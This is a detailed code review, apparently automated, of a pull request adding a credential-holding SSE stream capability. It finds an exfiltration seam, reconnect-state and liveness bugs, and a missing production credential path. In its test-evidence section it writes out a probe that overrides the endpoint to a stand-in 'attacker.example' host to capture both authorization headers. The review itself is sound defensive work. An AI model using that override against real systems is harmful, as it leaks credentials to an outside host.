PR Review Summary

Status: Request Changes

🪜 Strategic-Fit Decision

Per §9 Strategic-Fit Step-Back:

• Decision: Request Changes
• Rationale: The browser/relay twin and closure-capability premise are the right solution shape, and the retry classification is sound. The exact implementation does not yet preserve the capability boundary or connection-scoped vouching, so this is repairable iteration rather than Drop+Supersede.

Peer-Review Opening: Clio, the parser twin, retry-floor discipline, and app-layer placement are well chosen. Exact-head adversarial probes found one credential-custody escape and three composition gaps that must close before this capability can ship.

🧭 Patch-Blind Premise Snapshot

• Inputs Read Before Patch: #17190 and parent #17130; the nine-file changed-surface census; current apps/agentos/app.mjs; relay authority ai/services/fleet/fleetWakeSseConsumer.mjs; C1 bridge/custody precedent from #17176; the Fleet server's distinct-mint refusal contract; and the app-work contracts in src/Neo.mjs, src/core/Base.mjs, src/state/Provider.mjs, src/data/Model.mjs, and src/data/Store.mjs.
• Expected Solution Shape: A realm-local SSE consumer may twin the relay parser/state machine, but the registry bridge must expose a narrow capability whose endpoint, fetch authority, and both credentials remain closure-owned. Only the current connection's state frame may vouch a subscription or turn liveness positive, and the normal browser boot/healing path must actually bind both distinct mints.
• Patch Verdict: Partially matches the expected placement and parser shape, but contradicts the custody and observation boundaries: caller options override protected transport fields; reconnect state persists across epochs; transport-open is treated as handshake-live; and the class-3 mint has no production writer.
• Premise Coherence: The premise coheres with verify-before-assert and the Body/Brain boundary—push remains observational and credentials stay outside Provider/Store—but the current capability surface falsifies its own closure-custody claim.

🕸️ Context & Graph Linking

• Target Epic / Issue ID: Resolves #17190
• Related Graph Nodes: #17130 (C2 cutover), #17176 (C1 custody), #17116 (relay consumer authority), #17103 (distinct-mint server boundary)
• Origin Session ID: c1670ac9-b4b0-48b7-abca-52ec3860d8dd

🔬 Depth Floor

Challenge: The review attacked four assumptions: whether the pane can redirect a closure-held credential, whether a reconnect without a vouch can inherit the old subscription, whether HTTP transport-open is enough for positive liveness, and whether the new class-3 input is reachable from production boot rather than only helper tests. All four assumptions failed at exact head 9929cd9ba9b3661653584d331b29dba28f2dfc5d.

Rhetorical-Drift Audit (per guide §7.4):

• PR description: the “both mints in closure custody” claim overshoots while ...opts can replace eventsUrl and fetchImpl.
• Anchor & Echo summaries: the once-per-connection/vouched-id prose overshoots while subscriptionId survives a disarmed reconnect.
• [RETROSPECTIVE] tag: N/A — none added.
• Linked anchors: the relay/server anchors are real, but their state/refusal semantics are not yet composed by this head.

Findings: Drift is behavioral, not editorial; the Required Actions below repair the mechanics and then the prose can become true.

🧠 Graph Ingestion Notes

• [KB_GAP]: The Knowledge Base returned the broader Fleet/Wake authorities but not this new leaf's two-mint and per-epoch composition decisions; exact issue, sibling, server, and Memory Core evidence supplied the missing coordinates.
• [TOOLING_GAP]: None. Immutable-head archive probes allowed runtime falsification without disturbing the staged #17132 checkout.
• [RETROSPECTIVE]: A closure is not custody if its exported capability lets the consumer replace the destination or transport. Connection-scoped vouched identity and handshake-scoped liveness must be modeled as epoch state, while only the watermark survives reconnect.

🎯 Close-Target Audit

• Close-targets identified: #17190
• #17190 confirmed not epic-labeled.

Findings: The target is structurally eligible to close, but its “two credentials reach the consumer” and “server refusal is carried as an observation” ACs are not met at this head.

📑 Contract Completeness Audit

• The originating ticket has explicit ACs but no formal Contract Ledger matrix.
• The diff does not yet match those ACs: the production path supplies one mint, and identical-pair handling throws before a server observation can exist.

Findings: Contract behavior is incomplete. The missing matrix is not a separate paperwork blocker; the concrete AC mismatches below are.

🪜 Evidence Audit

• PR body contains an Evidence: declaration.
• The claimed L3 composition does not include a production-bound class-3 mint; the body itself defers the live MC round trip while #17190 requires both mints to reach this consumer.
• The claimed honest liveness/refusal evidence omits the no-frame HTTP-200 case and the stipulated identical-pair server-observation path.
• The body distinguishes its local-server ceiling from the deferred full journey.
• The evidence language currently promotes helper/direct-injection coverage to a composed two-mint production claim.
• No external deployment receipt is used as a merge gate.

Findings: Exact-head CI is green, but the runtime falsifiers below disprove the overclaimed custody, reconnection, and liveness evidence.

📡 MCP-Tool-Description Budget Audit

Findings: N/A — no OpenAPI surface is touched.

🛂 Provenance Audit

The realm-local twin is grounded in the shipped relay consumer, and the parser parity matrix is the correct no-import binding across the realm boundary. App-contract review also found no Store/Model/Provider/reactive-state violation: this leg intentionally adds transport closure state, not data-carrying UI. The defect is composition at the exported capability and production entrypoint, not placement.

🔌 Wire-Format Compatibility Audit

The SSE grammar and existing two-header names are preserved. The retry registry census is also sound at this head: 45 candidates, zero unclassified/stale/invalid, with runLoop:5f68f770 classified process-local/max-delay. The blockers concern authority and per-connection interpretation, not an incompatible wire-format change.

🔗 Cross-Skill Integration Audit

• The existing retry-bound registry was extended for the new reconnect loop.
• No skill/startup registry change is needed for this realm-local consumer.
• No new MCP tool or convention surface is introduced.
• The relay parity spec documents and tests the cross-realm predecessor pattern.

Findings: All checks pass — no integration-documentation gap beyond the behavioral contract mismatches already listed.

🧪 Test-Evidence & Location Audit

• Execution evidence: exact-head required CI green at 9929cd9ba9b3661653584d331b29dba28f2dfc5d (17/17 via gh pr checks 17194); author reports 104 focused local passes plus the L3 local-server probe.
• Reviewer falsifier: imported the exact commit from an isolated archive. bridge.openWakeStream({eventsUrl: 'https://attacker.example/collect', fetchImpl: spy}) sent both captured authorization headers to that URL. A two-connection stream then called pollDigest twice with sub-old even though connection two's state was disarmed and carried no id. A zero-frame HTTP-200 stream returned {alive: true, reason: '... state event pending'}.
• Production reachability search: exact-tree git grep found mcAuthorization declarations/pass-throughs at app.mjs:93-118, while both real calls at lines 161 and 172 pass only bearerToken and fleetUrl; the bearer occurrences are the positive control.
• Test location: added app/Fleet specs are placed with their owning surfaces.

Findings: CI and test placement pass; three named runtime falsifiers fail, and the production reachability claim is absent.

📋 Required Actions

To proceed with merging, please address the following:

• P0 — close the capability exfiltration seam. In installFleetBridge.mjs:239-248, do not spread arbitrary caller options after closure-owned eventsUrl, authHeaders, and fetchImpl. Whitelist safe observational options (or pin all three protected fields after any safe option projection), then add a falsifier showing attempts to override destination/transport cannot receive either header.
• P1 — make the subscription vouch connection-scoped. Reset the vouched id/state at each connection epoch and fire catch-up only from that epoch's handshake. Preserve the client watermark across reconnect, but a disarmed/no-id state must never reuse the prior subscription.
• P1 — separate transport-open from handshake-live. HTTP 200 with an open body but no state frame must remain alive: 'unknown'; set positive liveness only after the current epoch observes its state handshake, and add the zero-frame-open falsifier.
• P1 — compose the second mint in production and reconcile identical-pair behavior. Bind a real class-3 mint into both browser boot/healing calls and test the entrypoint path rather than hand-feeding establishFleetSessionCustody. Then either carry the ticket-stipulated server refusal as an honest observation or obtain a truthful close-target correction for the stronger client-side preflight; the current synchronous throw cannot satisfy the stated observation AC.

📊 Evaluation Metrics

• [ARCH_ALIGNMENT]: 62 - Correct realm twin and Provider/Store exclusion, but the exported capability breaks the defining closure authority boundary.
• [CONTENT_COMPLETENESS]: 58 - Parser/retry/observation coverage is substantial; production two-mint composition and two stated AC paths remain absent.
• [EXECUTION_QUALITY]: 52 - Exact-head CI is green, yet a credential exfiltration seam plus two epoch/liveness state defects survive.
• [PRODUCTIVITY]: 76 - The implementation advances the intended leg and reuses the sibling well, but cannot merge safely at this head.
• [IMPACT]: 90 - This capability sits on the Fleet admission/MC credential boundary and directly affects trustworthy cockpit wake delivery.
• [COMPLEXITY]: 82 - Cross-realm parser parity, reconnect semantics, dual credentials, and closure custody form a high-complexity security-sensitive integration.
• [EFFORT_PROFILE]: Heavy Lift - The premise is sound, but safe completion requires coordinated entrypoint, capability, and epoch-state repairs.

The twin is worth preserving. Once the capability surface is truly narrow and each reconnect earns a fresh vouch, the existing parser/retry work should carry forward cleanly.

[review-budget-managed]

• outcome: within-budget
• ordinary-limit: 2
• activation-issue: 15257
• activation-pr: 15307
• activated-at: 2026-07-16T20:54:31Z